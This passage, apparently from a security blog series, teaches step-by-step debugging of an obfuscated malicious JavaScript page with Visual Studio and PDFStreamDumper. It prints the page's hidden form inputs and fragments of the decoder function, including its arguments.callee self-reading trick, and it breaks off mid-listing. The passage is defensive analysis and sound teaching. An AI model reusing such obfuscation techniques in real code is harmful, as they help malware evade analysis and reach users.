&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;kw3&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;z&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;e&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;123&quot;&lt;/span&gt;&amp;gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;form&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;body&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;html&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;&lt;h2&gt;Reverse Engineering the Javascript&lt;/h2&gt;&lt;strong&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;Important notes: &lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
1 – Of course, the following steps should NOT be performed on a production system! Furthermore, the system you run these steps on should be fully patched!! Using Visual Studio means the IE scripting engine is used in the debugging process, which could present issues if you’re not careful. I do work like this on a fully patched x64 Windows 2008 system. &lt;br /&gt;
&lt;br /&gt;
2 – The remainder of the post dives into code analysis and using Visual Studio for debugging. If there are basic concepts I failed to cover effectively to make this process easily repeatable for you, please send me an email at gary.golomb to netwitness.com and I will ensure to cover that information in a separate post or video. (In rereading this post, I see some potential gaps. :-/) &lt;br /&gt;
&lt;br /&gt;
This exercise will use two different tools. The first is Visual Studio. If you do not have it already, you can download it free at &lt;a href=&quot;http://www.microsoft.com/express/Downloads/#2010-Visual-Web-Developer&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://www.microsoft.com/express/Downloads/#2010-Visual-Web-Developer&lt;/span&gt;&lt;/a&gt;. You will need Visual Web Developer for this exercise, or the all-in-one iso. The second tool is PDFStreamDumper available from: &lt;a href=&quot;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&lt;/span&gt;&lt;/a&gt;. While other tools could be used for the same tasks we’ll use PDFStreamDumper for, part 3 of this series will focus on PDF reverse engineering and we’ll be using that tool heavily. Might as well get your feet wet with it now! &lt;br /&gt;
&lt;br /&gt;
To fully dissect the javascript sent to the client, we need to debug it step-by-step. To do so, we’ll first create an ASP project in Visual Studio (since that give us the debug functionality needed to make this much easier). In that project, we’ll remove all the default content created in the page for us by VS, except the first line, and append the content returned by the webserver. Doing so gives us something like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/unformatted-page1.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-670&quot; height=&quot;83&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/unformatted-page1-300x78.png&quot; title=&quot;unformatted page&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Of course, we can be sure the logic we care about is the javascript, but that is still highly unreadable in one giant line and not in a format that allows for easy debugging. Because of that, we’ll use PDFStreamDumper to help clean it up. First, we open the application, then go into the javascript UI: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-1.png&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-629&quot; height=&quot;52&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-1-300x52.png&quot; title=&quot;pdfstream 1&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Next, we paste the unformatted javascript into the top script pane: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-2.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-630&quot; height=&quot;89&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-2-300x89.png&quot; title=&quot;pdfstream 2&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Next, select the Format Javascript selection to make it easier to read: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-3.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-631&quot; height=&quot;145&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-3-300x145.png&quot; title=&quot;pdfstream 3&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Although, it’s really not very easy to read yet since the variable names have confusing names like “&lt;em&gt;b_b_x_O3XJ4_qN&lt;/em&gt;” and “&lt;em&gt;x__IK_7p_f&lt;/em&gt;” that will make it hard to follow references to them as we walk through the code in a moment. Because of this, we’ll also apply the Basic Refactor functionality of PDFStreamDumper to clean up the code a little more:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-4.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-632&quot; height=&quot;39&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-4-300x39.png&quot; title=&quot;pdfstream 4&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And the code we want now is in the right-side pane: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-5.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-633&quot; height=&quot;154&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/pdfstream-5-300x154.png&quot; title=&quot;pdfstream 5&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
We can take the code in the right-side pane and now paste it back into our Visual Studio project from before and it’ll now look something like the following: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/formatted-page2.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-636&quot; height=&quot;177&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/formatted-page2-300x177.png&quot; title=&quot;formatted page&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Before moving on, let’s examine the HTML in the page to determine how the javascript is used on the client:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=juizf2ie&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.html4strict .de1, .html4strict .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.html4strict  {font-family:monospace;}.html4strict .imp {font-weight: bold; color: red;}.html4strict li, .html4strict .li1 {background: #ffffff;}.html4strict .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.html4strict .li2 {background: #f8f8f8;}.html4strict .kw2 {color: #000000; font-weight: bold;}.html4strict .kw3 {color: #000066;}.html4strict .es0 {color: #000099; font-weight: bold;}.html4strict .br0 {color: #66cc66;}.html4strict .sy0 {color: #66cc66;}.html4strict .st0 {color: #ff0000;}.html4strict .nu0 {color: #cc66cc;}.html4strict .sc-1 {color: #808080; font-style: italic;}.html4strict .sc0 {color: #00bbdd;}.html4strict .sc1 {color: #ddbb00;}.html4strict .sc2 {color: #009900;}.html4strict span.xtra { display:block; }
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;html4strict&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;onload&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;wg7_I6d_3kg(0);&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;form&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;post&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;ee&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&#39;...truncated...&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;kw2&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;z&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;e&quot;&lt;/span&gt; &lt;span class=&quot;kw3&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;123&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;form&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;&amp;lt;&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;kw2&quot;&gt;body&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
On line #1 we see the javascript function is called the moment the page is loaded on the client side without any user interaction. The only value passed to the function is the number 0. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On line #3 and #4 we see two hidden values we can assume are leveraged within the javascript somehow, yet we still need to determine how/why. (I removed the large value from #3 just for the sake of this short examination. It is viewable in the previous display of the code and will be examined again shortly.)&lt;br /&gt;
&lt;br /&gt;
At this point we can set a debug point at the start of the javascript function by clicking in the far-left margin next to the line we want to set the breakpoint:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/set-debug.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-639&quot; height=&quot;110&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/set-debug-300x110.png&quot; title=&quot;set debug&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Then we can start the debugger:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/start-the-debugger.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-medium wp-image-640&quot; height=&quot;52&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/start-the-debugger-300x52.png&quot; title=&quot;start the debugger&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
One thing you’ll notice is that Internet Explorer pops up in the background. This is important because it means the javascript you debug using the technique I’m showing here will show you how IE interprets the javascript, not how Firefox, Opera, Safari, etc interprets it. Interestingly, they all have subtle difference from each other in that regard. As most malicious javascript targets Windows users running IE, this is a safe method to start with, however the analysis will be incorrect if the JS is targeting a different browser, operating system, or javascript engine (we’ll see this in later posts).&lt;br /&gt;
&lt;br /&gt;
The yellow line shows the line the debugger will execute next if you hit “step into.” The red box shows the “step into” button:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-12.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-642&quot; height=&quot;323&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-12.png&quot; title=&quot;debugging 1&quot; width=&quot;491&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
As you step line-by-line, you can mouse-over a variable to see what it contains before and after you step into it, as the following two examples show:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-21.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-644&quot; height=&quot;173&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-21.png&quot; title=&quot;debugging 2&quot; width=&quot;445&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-3.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-645&quot; height=&quot;86&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-3.png&quot; title=&quot;debugging 3&quot; width=&quot;514&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last example, we see gvar_2 was just assigned the value “z.” This should immediately catch your eye as interesting because of line #4 for the HTML code we examined just a minute ago. Gvar_2 got the value “z” through the following steps:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Gvar_1 was built as an integer array with the values: &lt;ol&gt;&lt;li&gt;101&lt;/li&gt;
&lt;li&gt;111&lt;/li&gt;
&lt;li&gt;256&lt;/li&gt;
&lt;li&gt;-1&lt;/li&gt;
&lt;li&gt;120&lt;/li&gt;
&lt;li&gt;23&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;The value at offset 4 in gvar_1 (value = 120, because the array uses zero-based indexing) was incremented by the number two to give the value 122.&lt;/li&gt;
&lt;li&gt;The value 122 was treated as a decimal representation of a letter and fromCharCode() was used to convert it to its corresponding letter. As you can see in the ascii table shown here (http://www.asciitable.com/), 122 is the decimal equivalent of the letter z.&lt;/li&gt;
&lt;/ol&gt;Also be aware that you don’t need to mouse-over each variable to watch changes take place. The “Locals” table at the bottom of the window in debug mode shows each variable and keeps track of its current value in a single table. We’ll utilize the locals table in later screenshots while analyzing the code.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-4.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-646&quot; height=&quot;465&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-4.png&quot; title=&quot;debugging 4&quot; width=&quot;514&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Continuing to the next few lines, we see the following:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-5.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-647&quot; height=&quot;309&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-5.png&quot; title=&quot;debugging 5&quot; width=&quot;533&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In the above, we see:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;thM0X3_Ac0O__Vw is tested to see if it is null, which it is.&lt;/li&gt;
&lt;li&gt;Gvar_3 is assigned the first value in the array gvar_1, which is 101.&lt;/li&gt;
&lt;li&gt;Gvar_3 is reassigned the letter representation of that number using fromCharCode, which is “e”&lt;/li&gt;
&lt;li&gt;Gvar_3 is then added to itself and becomes “ee”&lt;/li&gt;
&lt;li&gt;thM0X3_Ac0O__Vw is then assigned the value of the object in the HTML with the ID “ee,” also shown below:&lt;/li&gt;
&lt;/ol&gt;&amp;lt;input type=”hidden” id=”ee” value=’4g31…truncated…4i3h58′&amp;gt;&lt;br /&gt;
&lt;br /&gt;
So far, so good, right? As you can see, reverse engineering javascript and what it’s doing isn’t too hard. I’ve even been keeping this lower-level than I need too since we can just summarize everything we’ve seen so far by just making the point given in #5 above.&lt;br /&gt;
&lt;br /&gt;
Well, reverse engineering javascript &lt;strong&gt;&lt;em&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;can&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt; be this easy, most of the time. Unfortunately, in this case it’s not going to be that easy. A few lines after the above logic, we hit the following. The break point was set at the start of the &lt;em&gt;while&lt;/em&gt; loop so you can see the values of each variable as we enter it:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-6.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-648&quot; height=&quot;357&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-6.png&quot; title=&quot;debugging 6&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Gvar_5, 6, 7, and 9 are number values. Gvar_8 is an object that is converted to a string and held in gvar_10. You can see the start of the string held in gvar_10 in the locals table at the bottom of the screenshot, but let me include a little more here:&lt;br /&gt;
&lt;br /&gt;
function wg7_I6d_3kg(N__egeg_iCt_C, thM0X3_Ac0O__Vw) {&lt;br /&gt;
var gvar_0 = “”;&lt;br /&gt;
var gvar_1 = new Array(101, 111, 256, -1, 120, 23);&lt;br /&gt;
var gvar_2 = String.fromCharCode(gvar_1[4] + 2);&lt;br /&gt;
gvar_1[3] = gvar_1[2] * 2;&lt;br /&gt;
&lt;br /&gt;
As you see, gvar_10 is the entire text of the function itself. WHAT?!&lt;br /&gt;
&lt;br /&gt;
This trick has been used in malicious javascript for several years now, but is finally making its way into more mainstream malware (aka: become more common). Although the functionality presented by arguments.callee seems totally pointless, it’s actually used in anonymous recursive functions as well as in debug code, as the following example shows:&lt;br /&gt;
&lt;br /&gt;
function testCallee()&lt;br /&gt;
{&lt;br /&gt;
return arguments.callee;&lt;br /&gt;
}&lt;br /&gt;
document.write(testCallee());&lt;br /&gt;
&lt;br /&gt;
In the above simple example, the programmer is using arguments.callee to write the function itself to the page displayed, a common test in the process of developing certain types of client-side apps.&lt;br /&gt;
However, when used in malicious javascript (as we’re examining), the use of arguments.callee can make the job of reverse engineering JS more difficult. Let’s take a detailed walk through that &lt;em&gt;while&lt;/em&gt; loop line-by-line and discuss:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-7.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-649&quot; height=&quot;169&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-7.png&quot; title=&quot;debugging 7&quot; width=&quot;626&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In the first line inside the &lt;em&gt;while&lt;/em&gt; loop (red box), gvar_9 has the value zero. Gvar_10 is the entire string of the function itself (also shown in the locals box) as obtained by using arguments.callee, so the letter at index zero in that string is the “f” in the word “function.” charCodeAt() is used to return the number representing that letter, which you can see at &lt;a href=&quot;http://www.asciitable.com/&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://www.asciitable.com/&lt;/span&gt;&lt;/a&gt; and in the locals box is the decimal number 102.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-8.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-650&quot; height=&quot;248&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-8.png&quot; title=&quot;debugging 8&quot; width=&quot;662&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In the next line (shown above), that value is tested to see if it is greater than the value in gvar_6 (which is 47), or less than the value in gvar_7 (which is 58). If you refer back to &lt;a href=&quot;http://www.asciitable.com/&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://www.asciitable.com/&lt;/span&gt;&lt;/a&gt;, you’ll see the test is looking only for the ascii numbers zero through nine.&lt;br /&gt;
&lt;br /&gt;
If the value is not an ascii character for a number zero through nine, then gvar_9 is incremented and the &lt;em&gt;while&lt;/em&gt; loop continues, as shown:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-9.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-651&quot; height=&quot;328&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-9.png&quot; title=&quot;debugging 9&quot; width=&quot;332&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Let’s examine what happens inside the &lt;em&gt;if&lt;/em&gt; statement when an ascii number is encountered:&lt;br /&gt;
&lt;br /&gt;
&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=msijsdfu&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.javascript .de1, .javascript .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.javascript  {font-family:monospace;}.javascript .imp {font-weight: bold; color: red;}.javascript li, .javascript .li1 {background: #ffffff;}.javascript .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.javascript .li2 {background: #f8f8f8;}.javascript .kw1 {color: #000066; font-weight: bold;}.javascript .kw2 {color: #003366; font-weight: bold;}.javascript .kw3 {color: #000066;}.javascript .co1 {color: #006600; font-style: italic;}.javascript .co2 {color: #009966; font-style: italic;}.javascript .coMULTI {color: #006600; font-style: italic;}.javascript .es0 {color: #000099; font-weight: bold;}.javascript .br0 {color: #009900;}.javascript .sy0 {color: #339933;}.javascript .st0 {color: #3366CC;}.javascript .nu0 {color: #CC0000;}.javascript .me1 {color: #660066;}.javascript span.xtra { display:block; }
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;javascript&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw1&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;gvar_9 &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; gvar_10.&lt;span class=&quot;me1&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; gvar_11 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; gvar_10.&lt;span class=&quot;me1&quot;&gt;charCodeAt&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;gvar_9&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;gvar_11 &lt;span class=&quot;sy0&quot;&gt;&amp;gt;&lt;/span&gt; gvar_6 &lt;span class=&quot;sy0&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; gvar_11 &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; gvar_7&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;gvar_5 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 4&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
